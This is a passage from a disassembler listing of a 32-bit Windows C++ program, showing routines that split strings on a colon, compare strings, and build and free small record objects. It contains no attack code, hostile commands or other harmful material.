		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F40
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F40
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C74 ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
